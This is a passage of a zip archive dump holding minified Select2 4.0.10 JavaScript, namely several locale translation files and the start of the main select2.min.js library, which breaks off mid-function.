!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(n){return"لطفاً "+(n.input.length-n.maximum)+" کاراکتر را حذف نمایید"},inputTooShort:function(n){return"لطفاً تعداد "+(n.minimum-n.input.length)+" کاراکتر یا بیشتر وارد نمایید"},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(n){return"شما تنها می‌توانید "+n.maximum+" آیتم را انتخاب نمایید"},noResults:function(){return"هیچ نتیجه‌ای یافت نشد"},searching:function(){return"در حال جستجو..."},removeAllItems:function(){return"همه موارد را حذف کنید"}}}),n.define,n.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/es.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Por favor, elimine "+n+" car";return r+=1==n?"ácter":"acteres"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Por favor, introduzca "+n+" car";return r+=1==n?"ácter":"acteres"},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var n="Sólo puede seleccionar "+e.maximum+" elemento";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Eliminar todos los elementos"}}}),e.define,e.require}();PK     0w\آ    ,  dashboard/lib/meta-box/js/select2/i18n/cs.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/cs",[],function(){function e(e,n){switch(e){case 2:return n?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadejte o jeden znak méně.":t<=4?"Prosím, zadejte o "+e(t,!0)+" znaky méně.":"Prosím, zadejte o "+t+" znaků méně."},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadejte ještě jeden znak.":t<=4?"Prosím, zadejte ještě další "+e(t,!0)+" znaky.":"Prosím, zadejte ještě dalších "+t+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(n){var t=n.maximum;return 1==t?"Můžete zvolit jen jednu položku.":t<=4?"Můžete zvolit maximálně "+e(t,!1)+" položky.":"Můžete zvolit maximálně "+t+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"},removeAllItems:function(){return"Odstraňte všechny položky"}}}),e.define,e.require}();PK     0w\L n    ,  dashboard/lib/meta-box/js/select2/i18n/ro.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return 1!==t&&(n+="e"),n},inputTooShort:function(e){return"Vă rugăm să introduceți "+(e.minimum-e.input.length)+" sau mai multe caractere"},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",1!==e.maximum&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"},removeAllItems:function(){return"Eliminați toate elementele"}}}),e.define,e.require}();PK     0w\4      ,  dashboard/lib/meta-box/js/select2/i18n/id.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(n){return"Hapuskan "+(n.input.length-n.maximum)+" huruf"},inputTooShort:function(n){return"Masukkan "+(n.minimum-n.input.length)+" huruf lagi"},loadingMore:function(){return"Mengambil data…"},maximumSelected:function(n){return"Anda hanya dapat memilih "+n.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Hapus semua item"}}}),n.define,n.require}();PK     0w\;qW    ,  dashboard/lib/meta-box/js/select2/i18n/hi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hi",[],function(){return{errorLoading:function(){return"परिणामों को लोड नहीं किया जा सका।"},inputTooLong:function(n){var e=n.input.length-n.maximum,r=e+" अक्षर को हटा दें";return e>1&&(r=e+" अक्षरों को हटा दें "),r},inputTooShort:function(n){return"कृपया "+(n.minimum-n.input.length)+" या अधिक अक्षर दर्ज करें"},loadingMore:function(){return"अधिक परिणाम लोड हो रहे है..."},maximumSelected:function(n){return"आप केवल "+n.maximum+" आइटम का चयन कर सकते हैं"},noResults:function(){return"कोई परिणाम नहीं मिला"},searching:function(){return"खोज रहा है..."},removeAllItems:function(){return"सभी वस्तुओं को हटा दें"}}}),n.define,n.require}();PK     0w\&{K    ,  dashboard/lib/meta-box/js/select2/i18n/it.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Per favore cancella "+n+" caratter";return t+=1!==n?"i":"e"},inputTooShort:function(e){return"Per favore inserisci "+(e.minimum-e.input.length)+" o più caratteri"},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var n="Puoi selezionare solo "+e.maximum+" element";return 1!==e.maximum?n+="i":n+="o",n},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"},removeAllItems:function(){return"Rimuovi tutti gli oggetti"}}}),e.define,e.require}();PK     0w\@    ,  dashboard/lib/meta-box/js/select2/i18n/ar.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(n){return"الرجاء حذف "+(n.input.length-n.maximum)+" عناصر"},inputTooShort:function(n){return"الرجاء إضافة "+(n.minimum-n.input.length)+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(n){return"تستطيع إختيار "+n.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"},removeAllItems:function(){return"قم بإزالة كل العناصر"}}}),n.define,n.require}();PK     0w\K~    ,  dashboard/lib/meta-box/js/select2/i18n/ca.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Si us plau, elimina "+n+" car";return r+=1==n?"àcter":"àcters"},inputTooShort:function(e){var n=e.minimum-e.input.length,r="Si us plau, introdueix "+n+" car";return r+=1==n?"àcter":"àcters"},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var n="Només es pot seleccionar "+e.maximum+" element";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"},removeAllItems:function(){return"Treu tots els elements"}}}),e.define,e.require}();PK     0w\u-͎  0  dashboard/lib/meta-box/js/select2/select2.min.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */
!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(u){var e=function(){if(u&&u.fn&&u.fn.select2&&u.fn.select2.amd)var e=u.fn.select2.amd;var t,n,r,h,o,s,f,g,m,v,y,_,i,a,w;function b(e,t){return i.call(e,t)}function l(e,t){var n,r,i,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(r=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(i=(i=f[h.slice(0,d).join("/")])&&i[r]){o=i,a=u;break}if(o)break;!l&&g&&g[r]&&(l=g[r],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(b(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!b(m,e)&&!b(_,e))throw new Error("No "+e);return m[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?c(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},i=Object.prototype.hasOwnProperty,a=[].slice,w=/\.js$/,f=function(e,t){var n,r=c(e),i=r[0],o=t[1];return e=r[1],i&&(n=D(i=l(i,o))),i?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return l(e,t)}}(o)):l(e,o):(i=(r=c(e=l(e,o)))[0],e=r[1],i&&(n=D(i))),{f:i?i+"!"+e:e,n:e,pr:i,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,r){var i,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(r=r||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)i=d[l]=g.module(e);else if(b(m,o)||b(v,o)||b(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(r,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(i&&i.exports!==h&&i.exports!==m[e]?m[e]=i.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,r,i){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=r,r=i),r?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(r=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),b(m,e)||b(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=r),e.define("almond",function(){}),e.define("jquery",[],function(){var e=u||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var i={};function u(e){var t=e.prototype,n=[];for(var r in t){"function"==typeof t[r]&&"constructor"!==r&&n.push(r)}return n}i.Extend=function(e,t){var n={}.hasOwnProperty;function r(){this.constructor=e}for(var i in t)n.call(t,i)&&(e[i]=t[i]);return r.prototype=t.prototype,e.prototype=new r,e.__super__=t.prototype,e},i.Decorate=function(r,i){var e=u(i),t=u(r);function o(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=r.prototype.constructor;0<t&&(e.call(arguments,r.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=r.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=r.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,r=e.length;n<r;n++)e[n].apply(this,t)},i.Observable=e,i.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},i.bind=function(e,t){return function(){e.apply(t,arguments)}},i._convertData=function(e){for(var t in e){var n=t.split("-"),r=e;if(1!==n.length){for(var i=0;i<n.length;i++){var o=n[i];(o=o.substring(0,1).toLowerCase()+o.substring(1))in r||(r[o]={}),i==n.length-1&&(r[o]=e[t]),r=r[o]}delete e[t]}}return e},i.hasScroll=function(e,t){var n=o(t),r=t.style.overflowX,i=t.style.overflowY;return(r!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===r||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},i.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},i.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},i.__cache={};var n=0;return i.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},i.StoreData=function(e,t,n){var r=i.GetUniqueElementId(e);i.__cache[r]||(i.__cache[r]={}),i.__cache[r][t]=n},i.GetData=function(e,t){var n=i.GetUniqueElementId(e);return t?i.__cache[n]&&null!=i.__cache[n][t]?i.__cache[n][t]:o(e).data(t):i.__cache[n]},i.RemoveData=function(e){var t=i.GetUniqueElementId(e);null!=i.__cache[t]&&delete i.__cache[t],e.removeAttribute("data-select2-id")},i}),e.define("select2/results",["jquery","./utils"],function(h,f){function r(e,t,n){this.$element=e,this.data=n,this.options=t,r.__super__.constructor.call(this)}return f.Extend(r,f.Observable),r.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},r.prototype.clear=function(){this.$results.empty()},r.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),r=this.options.get("translations").get(e.message);n.append(t(r(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},r.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},r.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var r=e.results[n],i=this.option(r);t.push(i)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},r.prototype.position=function(e,t){t.find(".select2-results").append(e)},r.prototype.sort=function(e){return this.options.get("sorter")(e)},r.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},r.prototype.setClasses=function(){var t=this;this.data.current(function(e){var r=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,r)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},r.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},r.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},r.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},r=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var i in(null!=e.element&&r.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[i];t.setAttribute(i,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},r.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var r=n-1;0===e.length&&(r=0);var i=t.eq(r);i.trigger("mouseenter");var o=l.$results.offset().top,s=i.offset().top,a=l.$results.scrollTop()+(s-o);0===r?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var r=t.eq(n);r.trigger("mouseenter");var i=l.$results.offset().top+l.$results.outerHeight(!1),o=r.offset().top+r.outerHeight(!1),s=l.$results.scrollTop()+o-i;0===n?l.$results.scrollTop(0):i<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,r=0<e.deltaY&&t-e.deltaY<=0,i=e.deltaY<0&&n<=l.$results.height();r?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):i&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},r.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},r.prototype.destroy=function(){this.$results.remove()},r.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,r=e.offset().top,i=this.$results.scrollTop()+(r-n),o=r-n;i-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(i)}},r.prototype.template=function(e,t){var n=this.options.get("templateResult"),r=this.options.get("escapeMarkup"),i=n(e,t);null==i?t.style.display="none":"string"==typeof i?t.innerHTML=r(i):h(t).append(i)},r}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,r,i){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return r.Extend(o,r.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=r.GetData(this.$element[0],"old-tabindex")?this._tabindex=r.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,r=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",r),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&r.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,r){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var r=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",r).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",r),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},i.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),r=this.display(t,n);n.empty().append(r);var i=t.title||t.text;i?n.attr("title",i):n.removeAttr("title")}else this.clear()},i}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(i,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var r=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){r.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!r.options.get("disabled")){var t=i(this).parent(),n=l.GetData(t[0],"data");r.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return i('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var r=e[n],i=this.selectionContainer(),o=this.display(r,i);i.append(o);var s=r.title||r.text;s&&i.attr("title",s),l.StoreData(i[0],"data",r),t.push(i)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var r=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(r)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(i,r,a){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){r._handleClear(e)}),t.on("keypress",function(e){r._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.options.get("disabled")){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var r=a.GetData(n[0],"data"),i=this.$element.val();this.$element.val(this.placeholder.id);var o={data:r};if(this.trigger("clear",o),o.prevented)this.$element.val(i);else{for(var s=0;s<r.length;s++)if(o={data:r[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(i);this.$element.trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=r.DELETE&&t.which!=r.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),r=i('<span class="select2-selection__clear" title="'+n()+'">&times;</span>');a.StoreData(r[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(r)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(r,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=r('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var 